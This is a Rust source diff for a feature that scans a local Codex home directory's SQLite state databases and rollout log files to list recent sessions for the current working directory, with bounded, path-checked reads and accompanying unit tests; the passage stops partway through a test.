sessions.push(ForeignSessionSummary {
tool: ForeignSessionTool::Codex,
source: candidate.source,
native_id: candidate.native_id,
title,
cwd: Path::new(&row.stored_cwd).to_path_buf(),
updated_at: candidate.updated_at,
branch: row.branch.as_deref().and_then(normalize_title),
});
if sessions.len() == MAX_SESSIONS_PER_TOOL {
break;
}
}
Some(sessions)
}
pub(super) fn most_recent_database(
root: &ApprovedRoot,
db_path: &Path,
cwd: &Path,
now: SystemTime,
within: Duration,
) -> RecentDatabaseResult {
let Some(bounds) = millis_bounds(now, within) else {
return RecentDatabaseResult::Unusable;
};
let Some(cwd_string) = cwd.to_str().map(str::to_owned) else {
return RecentDatabaseResult::Unusable;
};
if cwd_string.len() > MAX_PATH_BYTES {
return RecentDatabaseResult::Unusable;
}
let Some(database) = open_sqlite_transaction(root, db_path) else {
return RecentDatabaseResult::Unusable;
};
let Some(columns) = table_columns(&database, "threads") else {
return RecentDatabaseResult::Unusable;
};
let Some(sql) = recent_scan_sql(&columns) else {
return RecentDatabaseResult::Unusable;
};
let Ok(mut rows) = query_recent_candidates(&database, &sql, &cwd_string, bounds) else {
return RecentDatabaseResult::Incomplete;
};
let truncated = rows.len() > MAX_RECENT_DB_CANDIDATES;
rows.truncate(MAX_RECENT_DB_CANDIDATES);
let candidate = rows
.into_iter()
.find_map(|row| qualify_candidate(root, cwd, now, within, &row, super::source_from_str));
if candidate.is_none() && truncated {
RecentDatabaseResult::Incomplete
} else {
RecentDatabaseResult::Usable(candidate)
}
}
fn query_candidates(
database: &Connection,
sql: &str,
cwd: &str,
(oldest_millis, newest_millis): (i64, i64),
) -> Option<Vec<DbCandidate>> {
let mut statement = database.prepare(sql).ok()?;
let rows = statement
.query_map(
params![cwd, oldest_millis, newest_millis],
decode_candidate_row,
)
.ok()?;
Some(rows.flatten().collect())
}
fn query_recent_candidates(
database: &Connection,
sql: &str,
cwd: &str,
(oldest_millis, newest_millis): (i64, i64),
) -> Result<Vec<DbCandidate>, ()> {
let mut statement = database.prepare(sql).map_err(|_| ())?;
let rows = statement
.query_map(
params![cwd, oldest_millis, newest_millis],
decode_candidate_row,
)
.map_err(|_| ())?;
rows.collect::<rusqlite::Result<Vec<_>>>().map_err(|_| ())
}
fn decode_candidate_row(row: &rusqlite::Row<'_>) -> rusqlite::Result<DbCandidate> {
Ok(DbCandidate {
id: row.get(0)?,
rollout_path: row.get(1)?,
updated_at: row.get(2)?,
source: row.get(3)?,
stored_cwd: row.get(4)?,
title: row.get(5)?,
first_user_message: row.get(6)?,
branch: row.get(7)?,
})
}
fn qualify_candidate(
root: &ApprovedRoot,
cwd: &Path,
now: SystemTime,
within: Duration,
row: &DbCandidate,
parse_source: impl Fn(&str) -> Option<super::super::ForeignSessionSource>,
) -> Option<RecentCandidate> {
if uuid::Uuid::try_parse(&row.id).is_err() || Path::new(&row.stored_cwd) != cwd {
return None;
}
let source = parse_source(&row.source)?;
let updated_at = normalize_updated_at(row.updated_at)?;
if !is_within(updated_at, now, within)
|| existing_rollout_path(root, &row.rollout_path, &row.id).is_none()
{
return None;
}
Some(RecentCandidate {
tool: ForeignSessionTool::Codex,
source,
native_id: row.id.clone(),
updated_at,
})
}
pub(super) fn normalize_updated_at(value: i64) -> Option<SystemTime> {
let millis = if value < MIN_EPOCH_MILLIS {
value.saturating_mul(1_000)
} else {
value
};
system_time_from_millis(millis)
}
pub(super) fn scan_sql(columns: &HashSet<String>) -> Option<String> {
scan_sql_with_limit(
columns,
MAX_DB_CANDIDATES,
"('cli', 'vscode', '{\"custom\":\"atlas\"}', '{\"custom\":\"chatgpt\"}')",
)
}
pub(super) fn recent_scan_sql(columns: &HashSet<String>) -> Option<String> {
scan_sql_with_limit(columns, MAX_RECENT_DB_CANDIDATES + 1, "('cli', 'vscode')")
}
fn scan_sql_with_limit(
columns: &HashSet<String>,
limit: usize,
allowed_sources: &str,
) -> Option<String> {
for required in ["id", "rollout_path", "source", "cwd", "archived"] {
if !columns.contains(required) {
return None;
}
}
let updated_column = if columns.contains("updated_at_ms") {
"updated_at_ms"
} else if columns.contains("updated_at") {
"updated_at"
} else {
return None;
};
let title_column = if columns.contains("title") {
"title"
} else {
"''"
};
let first_user_message = if columns.contains("first_user_message") {
"first_user_message"
} else {
"''"
};
let git_branch = if columns.contains("git_branch") {
"git_branch"
} else {
"NULL"
};
let title_projection = format!(
"CASE WHEN typeof({title_column}) = 'text' \
AND octet_length({title_column}) <= {MAX_TEXT_BYTES} \
THEN {title_column} ELSE '' END"
);
let first_projection = format!(
"CASE WHEN typeof({first_user_message}) = 'text' \
AND octet_length({first_user_message}) <= {MAX_TEXT_BYTES} \
THEN {first_user_message} ELSE '' END"
);
let branch_projection = format!(
"CASE WHEN typeof({git_branch}) = 'text' \
AND octet_length({git_branch}) <= {MAX_BRANCH_BYTES} \
THEN {git_branch} ELSE NULL END"
);
Some(format!(
"SELECT id, rollout_path, {updated_column}, source, cwd, \
{title_projection}, {first_projection}, {branch_projection} \
FROM threads \
WHERE typeof(id) = 'text' \
AND typeof(rollout_path) = 'text' \
AND typeof({updated_column}) = 'integer' \
AND typeof(archived) = 'integer' \
AND archived = 0 AND cwd = ?1 \
AND source IN {allowed_sources} \
AND octet_length(id) <= {MAX_ID_BYTES} \
AND octet_length(rollout_path) <= {MAX_PATH_BYTES} \
AND CASE \
WHEN {updated_column} < {MIN_EPOCH_MILLIS} THEN {updated_column} * 1000 \
ELSE {updated_column} \
END BETWEEN ?2 AND ?3 \
ORDER BY CASE \
WHEN {updated_column} < {MIN_EPOCH_MILLIS} THEN {updated_column} * 1000 \
ELSE {updated_column} \
END DESC, id ASC LIMIT {limit}"
))
}
fn table_columns(connection: &Connection, table: &str) -> Option<HashSet<String>> {
let mut statement = connection
.prepare(&format!("PRAGMA table_info({table})"))
.ok()?;
let rows = statement
.query_map([], |row| row.get::<_, String>(1))
.ok()?;
let columns = rows.flatten().collect::<HashSet<_>>();
(!columns.is_empty()).then_some(columns)
}
@@ -0,0 +1,359 @@
use std::collections::HashSet;
use std::io::{BufRead, BufReader, Read};
use std::path::{Path, PathBuf};
use std::time::{Duration, SystemTime};
use chrono::{DateTime, Datelike, Days, Local, TimeDelta, Utc};
use serde_json::Value;
use super::super::{
ApprovedRoot, ForeignSessionSource, ForeignSessionSummary, ForeignSessionTool, MAX_SESSION_AGE,
MAX_SESSIONS_PER_TOOL, RecentCandidate, RecentProbe, is_within, normalize_title,
retain_top_k_by,
};
use super::{rollout_id, source_from_value, title};
const DAYS_IN_WINDOW: usize = 31;
const MAX_DATE_DIRS: usize = 32;
const MAX_METADATA_READS: usize = 128;
const MAX_RECENT_METADATA_READS: usize = 16;
pub(super) const MAX_RECENT_DIRECTORY_ENTRIES: usize = 64;
const MAX_HEAD_RECORDS: usize = 10;
pub(super) const MAX_HEAD_BYTES: usize = 64 * 1024;
// Bound compressed work separately from the decoded head and decoder window.
pub(super) const MAX_COMPRESSED_HEAD_BYTES: usize = 256 * 1024;
pub(super) const MAX_ZSTD_WINDOW_LOG: u32 = 23;
struct Candidate {
root: ApprovedRoot,
path: PathBuf,
id: String,
modified: SystemTime,
}
#[derive(Default)]
struct HeadMetadata {
id: Option<uuid::Uuid>,
cwd: Option<String>,
source: Option<ForeignSessionSource>,
branch: Option<String>,
first_user_message: Option<String>,
}
pub(super) fn scan_rollouts(
codex_root: &ApprovedRoot,
cwd: &Path,
now: SystemTime,
) -> Vec<ForeignSessionSummary> {
let Some(root) = codex_root.subroot(Path::new("sessions")) else {
return Vec::new();
};
let candidates = collect_candidates(&root, now, MAX_SESSION_AGE, MAX_METADATA_READS);
let mut accepted_ids = HashSet::new();
let mut sessions = Vec::new();
for candidate in candidates {
if accepted_ids.contains(&candidate.id) {
continue;
}
let Some(session) = read_candidate(candidate, cwd) else {
continue;
};
accepted_ids.insert(session.native_id.clone());
sessions.push(session);
if sessions.len() == MAX_SESSIONS_PER_TOOL {
break;
}
}
sessions
}
pub(super) fn most_recent_rollout(
codex_root: &ApprovedRoot,
cwd: &Path,
now: SystemTime,
within: Duration,
) -> RecentProbe<RecentCandidate> {
let sessions_path = codex_root.join("sessions");
match std::fs::symlink_metadata(&sessions_path) {
Err(error) if error.kind() == std::io::ErrorKind::NotFound => {
return RecentProbe::Complete(None);
}
Err(_) => return RecentProbe::Incomplete,
Ok(_) => {}
}
let Some(root) = codex_root.subroot(&sessions_path) else {
return RecentProbe::Incomplete;
};
let Some((candidates, truncated)) = collect_recent_candidates(&root, now, within) else {
return RecentProbe::Incomplete;
};
let candidate = candidates.into_iter().find_map(|candidate| {
let (_, source, _) = qualify_candidate(&candidate, cwd)?;
if !matches!(
source,
ForeignSessionSource::CodexCli | ForeignSessionSource::CodexVsCode
) {
return None;
}
Some(RecentCandidate {
tool: ForeignSessionTool::Codex,
source,
native_id: candidate.id,
updated_at: candidate.modified,
})
});
if candidate.is_none() && truncated {
RecentProbe::Incomplete
} else {
RecentProbe::Complete(candidate)
}
}
fn collect_recent_candidates(
root: &ApprovedRoot,
now: SystemTime,
within: Duration,
) -> Option<(Vec<Candidate>, bool)> {
let mut candidates = Vec::with_capacity(MAX_RECENT_METADATA_READS);
let mut remaining_entries = MAX_RECENT_DIRECTORY_ENTRIES;
let mut qualifying = 0;
let local_offset = DateTime::<Local>::from(now).offset().local_minus_utc();
for date_dir in recent_date_dirs(root.path(), now, local_offset) {
let Some(date_root) = root.subroot(&date_dir) else {
continue;
};
let outcome = date_root.for_each_entry_bounded(remaining_entries, |name| {
let path = date_root.join(&name);
let Some(id) = rollout_id(&path) else {
return;
};
let Some((path, metadata)) = date_root.resolve_regular_file(&path) else {
return;
};
let Ok(modified) = metadata.modified() else {
return;
};
if is_within(modified, now, within) {
qualifying += 1;
retain_top_k_by(
&mut candidates,
Candidate {
root: date_root.clone(),
path,
id,
modified,
},
MAX_RECENT_METADATA_READS,
candidate_order,
);
}
});
remaining_entries = remaining_entries.saturating_sub(outcome.visited);
if !outcome.complete {
return None;
}
}
Some((candidates, qualifying > MAX_RECENT_METADATA_READS))
}
fn collect_candidates(
root: &ApprovedRoot,
now: SystemTime,
within: Duration,
limit: usize,
) -> Vec<Candidate> {
let mut candidates = Vec::with_capacity(limit);
let local_offset = DateTime::<Local>::from(now).offset().local_minus_utc();
for date_dir in recent_date_dirs(root.path(), now, local_offset) {
let Some(date_root) = root.subroot(&date_dir) else {
continue;
};
let mut date_candidates = Vec::with_capacity(limit);
// Enumerate every direct rollout entry in the fixed date window so
// filesystem order cannot decide which files receive the head-read budget.
let complete = date_root.for_each_entry(|name| {
let path = date_root.join(&name);
let Some(id) = rollout_id(&path) else {
return;
};
let Some((path, metadata)) = date_root.resolve_regular_file(&path) else {
return;
};
let Ok(modified) = metadata.modified() else {
return;
};
if is_within(modified, now, within) {
retain_top_k_by(
&mut date_candidates,
Candidate {
root: date_root.clone(),
path,
id,
modified,
},
limit,
candidate_order,
);
}
});
if !complete {
continue;
}
for candidate in date_candidates {
retain_top_k_by(&mut candidates, candidate, limit, candidate_order);
}
}
candidates
}
fn candidate_order(a: &Candidate, b: &Candidate) -> std::cmp::Ordering {
b.modified
.cmp(&a.modified)
.then_with(|| a.id.cmp(&b.id))
.then_with(|| a.path.cmp(&b.path))
}
pub(super) fn recent_date_dirs(
root: &Path,
now: SystemTime,
local_offset_seconds: i32,
) -> Vec<PathBuf> {
let utc = DateTime::<Utc>::from(now);
let local = utc + TimeDelta::seconds(i64::from(local_offset_seconds));
let mut dates = [utc.date_naive(), local.date_naive()]
.into_iter()
.flat_map(|today| {
(0..DAYS_IN_WINDOW)
.filter_map(move |days| today.checked_sub_days(Days::new(days as u64)))
})
.collect::<HashSet<_>>()
.into_iter()
.collect::<Vec<_>>();
dates.sort_by(|a, b| b.cmp(a));
dates.truncate(MAX_DATE_DIRS);
dates
.into_iter()
.map(|date| {
root.join(format!("{:04}", date.year()))
.join(format!("{:02}", date.month()))
.join(format!("{:02}", date.day()))
})
.collect()
}
fn read_candidate(candidate: Candidate, requested_cwd: &Path) -> Option<ForeignSessionSummary> {
let (
HeadMetadata {
branch,
first_user_message,
..
},
source,
stored_cwd,
) = qualify_candidate(&candidate, requested_cwd)?;
let title = title("", first_user_message.as_deref().unwrap_or(""))?;
Some(ForeignSessionSummary {
tool: ForeignSessionTool::Codex,
source,
native_id: candidate.id,
title,
cwd: PathBuf::from(stored_cwd),
updated_at: candidate.modified,
branch,
})
}
fn qualify_candidate(
candidate: &Candidate,
requested_cwd: &Path,
) -> Option<(HeadMetadata, ForeignSessionSource, String)> {
let metadata = read_head(&candidate.root, &candidate.path)?;
if metadata.id? != uuid::Uuid::try_parse(&candidate.id).ok()? {
return None;
}
let stored_cwd = metadata.cwd.clone()?;
if Path::new(&stored_cwd) != requested_cwd {
return None;
}
let source = metadata.source?;
Some((metadata, source, stored_cwd))
}
fn read_head(root: &ApprovedRoot, path: &Path) -> Option<HeadMetadata> {
let file = root.open_regular_file(path)?.file;
if path.extension().and_then(|extension| extension.to_str()) == Some("zst") {
let compressed = file.take(MAX_COMPRESSED_HEAD_BYTES as u64);
let mut decoder = zstd::Decoder::new(compressed).ok()?;
decoder.window_log_max(MAX_ZSTD_WINDOW_LOG).ok()?;
let decoder = decoder.single_frame();
parse_head(BufReader::new(decoder.take(MAX_HEAD_BYTES as u64)))
} else {
parse_head(BufReader::new(file.take(MAX_HEAD_BYTES as u64)))
}
}
fn parse_head(mut reader: impl BufRead) -> Option<HeadMetadata> {
let mut line = String::new();
let mut total = 0;
let mut metadata = HeadMetadata::default();
let mut saw_session_meta = false;
for _ in 0..MAX_HEAD_RECORDS {
line.clear();
let read = reader.read_line(&mut line).ok()?;
if read == 0 {
break;
}
total += read;
if total > MAX_HEAD_BYTES {
break;
}
let Ok(record) = serde_json::from_str::<Value>(&line) else {
continue;
};
let record_type = record.get("type").and_then(Value::as_str);
let payload = record.get("payload").unwrap_or(&Value::Null);
if record_type == Some("session_meta") && !saw_session_meta {
saw_session_meta = true;
metadata.id = payload
.get("id")
.and_then(Value::as_str)
.and_then(|id| uuid::Uuid::try_parse(id).ok());
metadata.cwd = payload
.get("cwd")
.and_then(Value::as_str)
.map(str::to_owned);
metadata.source = payload.get("source").and_then(source_from_value);
metadata.branch = payload
.pointer("/git/branch")
.or_else(|| payload.get("git_branch"))
.and_then(Value::as_str)
.and_then(normalize_title);
}
if metadata.first_user_message.is_none() {
metadata.first_user_message = user_message(payload).and_then(normalize_title);
}
}
Some(metadata)
}
fn user_message(payload: &Value) -> Option<&str> {
if payload.get("type").and_then(Value::as_str) == Some("user_message") {
return payload.get("message").and_then(Value::as_str);
}
if payload.get("type").and_then(Value::as_str) != Some("message")
|| payload.get("role").and_then(Value::as_str) != Some("user")
{
return None;
}
let text = payload
.get("content")?
.as_array()?
.iter()
.find_map(|item| match item.get("type").and_then(Value::as_str) {
Some("input_text" | "text") => item.get("text").and_then(Value::as_str),
_ => None,
})?;
let trimmed = text.trim_start();
(!trimmed.starts_with("<environment_context>") && !trimmed.starts_with("<user_instructions>"))
.then_some(text)
}
@@ -0,0 +1,194 @@
use std::path::{Component, Path, PathBuf};
use std::time::{Duration, SystemTime};
use serde_json::Value;
mod db;
mod files;
use super::{
ApprovedRoot, ForeignSessionSource, ForeignSessionSummary, RecentCandidate, RecentProbe,
approved_root_for_recent, finish_tool_scan, normalize_title,
};
// Codex is currently on single-digit state generations. Probe a generous,
// deterministic supported range without enumerating unrelated CODEX_HOME files.
const MAX_STATE_DB_GENERATION: u32 = 128;
pub(super) fn scan(cwd: &Path, now: SystemTime) -> Vec<ForeignSessionSummary> {
let Some(codex_home) = std::env::var_os("CODEX_HOME")
.map(PathBuf::from)
.or_else(|| dirs::home_dir().map(|home| home.join(".codex")))
else {
return Vec::new();
};
scan_in_home(&codex_home, cwd, now)
}
pub(super) fn most_recent(
cwd: &Path,
now: SystemTime,
within: Duration,
) -> RecentProbe<RecentCandidate> {
let Some(codex_home) = std::env::var_os("CODEX_HOME")
.map(PathBuf::from)
.or_else(|| dirs::home_dir().map(|home| home.join(".codex")))
else {
return RecentProbe::Complete(None);
};
most_recent_in_home(&codex_home, cwd, now, within)
}
fn scan_in_home(codex_home: &Path, cwd: &Path, now: SystemTime) -> Vec<ForeignSessionSummary> {
let Some(root) = ApprovedRoot::new(codex_home) else {
return Vec::new();
};
let sessions = state_databases(&root)
.find_map(|path| {
db::scan_database(&root, &path, cwd, now).filter(|sessions| !sessions.is_empty())
})
.unwrap_or_else(|| files::scan_rollouts(&root, cwd, now));
finish_tool_scan(sessions)
}
fn most_recent_in_home(
codex_home: &Path,
cwd: &Path,
now: SystemTime,
within: Duration,
) -> RecentProbe<RecentCandidate> {
let root = match approved_root_for_recent(codex_home) {
Ok(Some(root)) => root,
Ok(None) => return RecentProbe::Complete(None),
Err(()) => return RecentProbe::Incomplete,
};
let Some(path) = highest_named_state_database(&root) else {
return files::most_recent_rollout(&root, cwd, now, within);
};
match db::most_recent_database(&root, &path, cwd, now, within) {
db::RecentDatabaseResult::Usable(candidate) => RecentProbe::Complete(candidate),
db::RecentDatabaseResult::Incomplete => RecentProbe::Incomplete,
db::RecentDatabaseResult::Unusable => files::most_recent_rollout(&root, cwd, now, within),
}
}
fn highest_named_state_database(root: &ApprovedRoot) -> Option<PathBuf> {
(0..=MAX_STATE_DB_GENERATION).rev().find_map(|generation| {
let path = root.join(format!("state_{generation}.sqlite"));
match std::fs::symlink_metadata(&path) {
Ok(_) => Some(path),
Err(error) if error.kind() == std::io::ErrorKind::NotFound => None,
Err(_) => Some(path),
}
})
}
fn state_databases(root: &ApprovedRoot) -> impl Iterator<Item = PathBuf> + '_ {
(0..=MAX_STATE_DB_GENERATION)
.rev()
.filter_map(move |generation| {
let path = root.join(format!("state_{generation}.sqlite"));
root.resolve_regular_file(&path).map(|(path, _)| path)
})
}
fn source_from_str(source: &str) -> Option<ForeignSessionSource> {
match source {
"cli" => Some(ForeignSessionSource::CodexCli),
"vscode" => Some(ForeignSessionSource::CodexVsCode),
_ => None,
}
}
fn source_from_persisted(source: &str) -> Option<ForeignSessionSource> {
source_from_str(source).or_else(|| {
let value = serde_json::from_str::<Value>(source).ok()?;
source_from_value(&value)
})
}
fn source_from_value(source: &Value) -> Option<ForeignSessionSource> {
source
.as_str()
.and_then(source_from_str)
.or_else(|| match source.get("custom")?.as_str()? {
"atlas" => Some(ForeignSessionSource::CodexAtlas),
"chatgpt" => Some(ForeignSessionSource::CodexChatGpt),
_ => None,
})
}
fn existing_rollout_path(root: &ApprovedRoot, value: &str, expected_id: &str) -> Option<PathBuf> {
let path = PathBuf::from(value);
if path.components().any(|part| part == Component::ParentDir) {
return None;
}
let path = if path.is_absolute() {
path
} else {
root.join(path)
};
let mut compressed = path.clone().into_os_string();
compressed.push(".zst");
let approved_prefixes = ["sessions", "archived_sessions"]
.into_iter()
.filter_map(|name| dunce::canonicalize(root.join(name)).ok())
.filter(|path| path.starts_with(root.path()))
.collect::<Vec<_>>();
[path, PathBuf::from(compressed)]
.into_iter()
.filter_map(|candidate| root.open_regular_file(&candidate).map(|opened| opened.path))
.find(|candidate| {
rollout_id(candidate).as_deref() == Some(expected_id)
&& approved_prefixes
.iter()
.any(|prefix| candidate.starts_with(prefix))
})
}
fn rollout_id(path: &Path) -> Option<String> {
let name = path.file_name()?.to_str()?;
let stem = name
.strip_suffix(".jsonl.zst")
.or_else(|| name.strip_suffix(".jsonl"))?;
let value = stem.strip_prefix("rollout-")?;
let id_start = value.len().checked_sub(36)?;
if id_start == 0 || value.as_bytes().get(id_start - 1) != Some(&b'-') {
return None;
}
let timestamp = &value[..id_start - 1];
if timestamp.len() != 19 {
return None;
}
chrono::NaiveDateTime::parse_from_str(timestamp, "%Y-%m-%dT%H-%M-%S").ok()?;
let id = &value[id_start..];
uuid::Uuid::try_parse(id).ok()?;
Some(id.to_owned())
}
fn title(primary: &str, fallback: &str) -> Option<String> {
normalize_title(primary).or_else(|| normalize_title(fallback))
}
#[cfg(test)]
mod fixed_path_tests {
use super::*;
#[test]
fn fixed_rollout_qualification_does_not_require_enumeration() {
let (_tempdir, root) = crate::foreign_sessions::canonical_tempdir();
let sessions = root.join("sessions/2027/01/15");
std::fs::create_dir_all(&sessions).unwrap();
let id = uuid::Uuid::from_u128(9_000);
let rollout = sessions.join(format!("rollout-2027-01-15T12-00-00-{id}.jsonl"));
std::fs::write(&rollout, "").unwrap();
let approved = ApprovedRoot::new(&root).unwrap();
assert_eq!(
existing_rollout_path(&approved, &rollout.to_string_lossy(), &id.to_string()),
Some(dunce::canonicalize(&rollout).unwrap())
);
}
}
#[cfg(all(test, unix))]
mod tests;
@@ -0,0 +1,889 @@
use super::*;
#[test]
fn codex_query_uses_cwd_index_and_length_metadata_opcode() {
let root = TempDir::new().unwrap();
let db_path = root.path().join("state.sqlite");
create_db(&db_path, &[]);
let connection = Connection::open(&db_path).unwrap();
let columns = [
"id",
"rollout_path",
"updated_at_ms",
"source",
"cwd",
"title",
"first_user_message",
"archived",
"git_branch",
]
.into_iter()
.map(str::to_owned)
.collect::<std::collections::HashSet<_>>();
let sql = super::super::db::scan_sql(&columns).unwrap();
let mut plan = connection
.prepare(&format!("EXPLAIN QUERY PLAN {sql}"))
.unwrap();
let details = plan
.query_map(params!["/repo", 0_i64, i64::MAX], |row| {
row.get::<_, String>(3)
})
.unwrap()
.flatten()
.collect::<Vec<_>>();
assert!(details.iter().any(|detail| {
detail.contains("SEARCH threads USING INDEX threads_archived_cwd_updated")
&& detail.contains("archived=? AND cwd=?")
}));
assert!(
details
.iter()
.any(|detail| detail.contains("USE TEMP B-TREE FOR ORDER BY"))
);
let mut bytecode = connection.prepare(&format!("EXPLAIN {sql}")).unwrap();
let columns = bytecode
.query_map(params!["/repo", 0_i64, i64::MAX], |row| {
Ok((
row.get::<_, String>(1)?,
row.get::<_, i64>(3)?,
row.get::<_, i64>(6)?,
))
})
.unwrap()
.flatten()
.collect::<Vec<_>>();
for column in [0_i64, 1, 5, 6, 8] {
assert!(columns.iter().any(|(opcode, p2, p5)| {
opcode == "Column" && *p2 == column && (*p5 & 0xc0) == 0xc0
}));
}
}
#[test]
fn recent_database_probe_is_windowed_bounded_and_keeps_source_filters() {
let (_tempdir, root) = canonical_tempdir();
let cwd = root.join("repo");
let rollout_dir = root.join("sessions/2027/01/15");
fs::create_dir_all(&cwd).unwrap();
fs::create_dir_all(&rollout_dir).unwrap();
let now = UNIX_EPOCH + Duration::from_secs(1_800_000_000);
let winner = uuid::Uuid::from_u128(90);
let winner_rollout = rollout_path(&rollout_dir, winner);
fs::write(&winner_rollout, "").unwrap();
let missing = rollout_path(&rollout_dir, uuid::Uuid::from_u128(91));
let db_path = root.join("state_9.sqlite");
create_db(
&db_path,
&[
DbRow {
id: uuid::Uuid::from_u128(93),
rollout_path: &winner_rollout,
updated_at_ms: millis_from_system_time(now + Duration::from_secs(1)).unwrap(),
source: r#"{"custom":"atlas"}"#,
cwd: &cwd,
title: "excluded custom source",
first_user_message: "",
archived: false,
},
DbRow {
id: uuid::Uuid::from_u128(92),
rollout_path: &winner_rollout,
updated_at_ms: millis_from_system_time(now).unwrap(),
source: r#"{"subagent":"review"}"#,
cwd: &cwd,
title: "excluded",
first_user_message: "",
archived: false,
},
DbRow {
id: uuid::Uuid::from_u128(91),
rollout_path: &missing,
updated_at_ms: millis_from_system_time(now - Duration::from_secs(1)).unwrap(),
source: "cli",
cwd: &cwd,
title: "missing rollout",
first_user_message: "",
archived: false,
},
DbRow {
id: winner,
rollout_path: &winner_rollout,
updated_at_ms: millis_from_system_time(now - Duration::from_secs(2)).unwrap(),
source: "vscode",
cwd: &cwd,
title: "",
first_user_message: "",
archived: false,
},
],
);
let found = most_recent_in_home(&root, &cwd, now, Duration::from_secs(600)).unwrap();
assert_eq!(found.native_id, winner.to_string());
assert_eq!(found.source, ForeignSessionSource::CodexVsCode);
let columns = [
"id",
"rollout_path",
"updated_at_ms",
"source",
"cwd",
"title",
"first_user_message",
"archived",
"git_branch",
]
.into_iter()
.map(str::to_owned)
.collect::<std::collections::HashSet<_>>();
let sql = super::super::db::recent_scan_sql(&columns).unwrap();
assert!(sql.contains("source IN ('cli', 'vscode')"));
assert!(!sql.contains("custom"));
assert!(sql.contains(&format!(
"LIMIT {}",
super::super::db::MAX_RECENT_DB_CANDIDATES + 1
)));
}
#[test]
fn recent_database_sentinel_marks_invalid_window_incomplete() {
let root = TempDir::new().unwrap();
let cwd = root.path().join("repo");
let sessions = root.path().join("sessions");
fs::create_dir_all(&cwd).unwrap();
fs::create_dir_all(&sessions).unwrap();
let now = UNIX_EPOCH + Duration::from_secs(1_800_010_000);
let valid_id = uuid::Uuid::from_u128(190);
let valid_rollout = rollout_path(&sessions, valid_id);
fs::write(&valid_rollout, "").unwrap();
let db_path = root.path().join("state_10.sqlite");
create_db(&db_path, &[]);
let connection = Connection::open(&db_path).unwrap();
for index in 0..super::super::db::MAX_RECENT_DB_CANDIDATES {
connection
.execute(
"INSERT INTO threads VALUES (?1, ?2, ?3, 'cli', ?4, 'invalid', '', 0, NULL)",
params![
uuid::Uuid::from_u128(10_000 + index as u128).to_string(),
sessions
.join(format!("missing-{index}.jsonl"))
.display()
.to_string(),
millis_from_system_time(now - Duration::from_secs(index as u64)).unwrap(),
cwd.display().to_string(),
],
)
.unwrap();
}
assert_eq!(
most_recent_in_home(root.path(), &cwd, now, Duration::from_secs(600)),
RecentProbe::Complete(None),
);
connection
.execute(
"INSERT INTO threads VALUES (?1, ?2, ?3, 'cli', ?4, 'ninth valid', '', 0, NULL)",
params![
valid_id.to_string(),
valid_rollout.display().to_string(),
millis_from_system_time(now - Duration::from_secs(20)).unwrap(),
cwd.display().to_string(),
],
)
.unwrap();
drop(connection);
assert_eq!(
most_recent_in_home(root.path(), &cwd, now, Duration::from_secs(600)),
RecentProbe::Incomplete,
);
}
#[test]
fn recent_database_row_decode_error_is_incomplete() {
let (_tempdir, root) = canonical_tempdir();
let cwd = root.join("repo");
let sessions = root.join("sessions");
fs::create_dir_all(&cwd).unwrap();
fs::create_dir_all(&sessions).unwrap();
let now = UNIX_EPOCH + Duration::from_secs(1_800_015_000);
let older_id = uuid::Uuid::from_u128(191);
let older_rollout = rollout_path(&sessions, older_id);
fs::write(&older_rollout, "").unwrap();
let db_path = root.join("state_10.sqlite");
create_db(
&db_path,
&[DbRow {
id: older_id,
rollout_path: &older_rollout,
updated_at_ms: millis_from_system_time(now - Duration::from_secs(1)).unwrap(),
source: "cli",
cwd: &cwd,
title: "older valid",
first_user_message: "",
archived: false,
}],
);
let broken_id = uuid::Uuid::from_u128(192);
let broken_rollout = rollout_path(&sessions, broken_id);
fs::write(&broken_rollout, "").unwrap();
let connection = Connection::open(&db_path).unwrap();
connection
.execute(
"INSERT INTO threads VALUES (?1, ?2, ?3, 'cli', ?4, CAST(x'80' AS TEXT), '', 0, NULL)",
params![
broken_id.to_string(),
broken_rollout.display().to_string(),
millis_from_system_time(now).unwrap(),
cwd.display().to_string(),
],
)
.unwrap();
drop(connection);
assert_eq!(
most_recent_in_home(&root, &cwd, now, Duration::from_secs(600)),
RecentProbe::Incomplete,
);
let full = scan_in_home(&root, &cwd, now);
assert_eq!(full.len(), 1);
assert_eq!(full[0].native_id, older_id.to_string());
}
#[test]
fn recent_database_tri_state_uses_only_current_generation() {
let now = UNIX_EPOCH + Duration::from_secs(1_800_020_000);
let readable = TempDir::new().unwrap();
let readable_cwd = readable.path().join("repo");
fs::create_dir_all(&readable_cwd).unwrap();
let older_id = uuid::Uuid::from_u128(200);
let older_rollout =
write_recent_rollout(readable.path(), &readable_cwd, now, older_id, json!("cli"));
create_db(
&readable.path().join("state_9.sqlite"),
&[DbRow {
id: older_id,
rollout_path: &older_rollout,
updated_at_ms: millis_from_system_time(now).unwrap(),
source: "cli",
cwd: &readable_cwd,
title: "obsolete generation",
first_user_message: "",
archived: false,
}],
);
create_db(&readable.path().join("state_10.sqlite"), &[]);
assert!(
most_recent_in_home(
readable.path(),
&readable_cwd,
now,
Duration::from_secs(600)
)
.is_none(),
"a usable empty current index must suppress obsolete DB and rollout fallback"
);
let unreadable = TempDir::new().unwrap();
let unreadable_cwd = unreadable.path().join("repo");
fs::create_dir_all(&unreadable_cwd).unwrap();
let fallback_id = uuid::Uuid::from_u128(201);
write_recent_rollout(
unreadable.path(),
&unreadable_cwd,
now,
fallback_id,
json!("vscode"),
);
fs::write(unreadable.path().join("state_10.sqlite"), "not sqlite").unwrap();
assert_eq!(
most_recent_in_home(
unreadable.path(),
&unreadable_cwd,
now,
Duration::from_secs(600)
)
.unwrap()
.native_id,
fallback_id.to_string()
);
let absent = TempDir::new().unwrap();
let absent_cwd = absent.path().join("repo");
fs::create_dir_all(&absent_cwd).unwrap();
let absent_id = uuid::Uuid::from_u128(202);
write_recent_rollout(absent.path(), &absent_cwd, now, absent_id, json!("cli"));
assert_eq!(
most_recent_in_home(absent.path(), &absent_cwd, now, Duration::from_secs(600))
.unwrap()
.native_id,
absent_id.to_string()
);
}
#[cfg(unix)]
#[test]
fn recent_database_unsafe_highest_uses_fallback_not_older_database() {
let root = TempDir::new().unwrap();
let cwd = root.path().join("repo");
fs::create_dir_all(&cwd).unwrap();
let now = UNIX_EPOCH + Duration::from_secs(1_800_025_000);
let older_id = uuid::Uuid::from_u128(210);
let older_rollout = write_recent_rollout(root.path(), &cwd, now, older_id, json!("cli"));
touch(&older_rollout, now - Duration::from_secs(60 * 60));
let older_db = root.path().join("state_9.sqlite");
create_db(
&older_db,
&[DbRow {
id: older_id,
rollout_path: &older_rollout,
updated_at_ms: millis_from_system_time(now).unwrap(),
source: "cli",
cwd: &cwd,
title: "must not use older DB",
first_user_message: "",
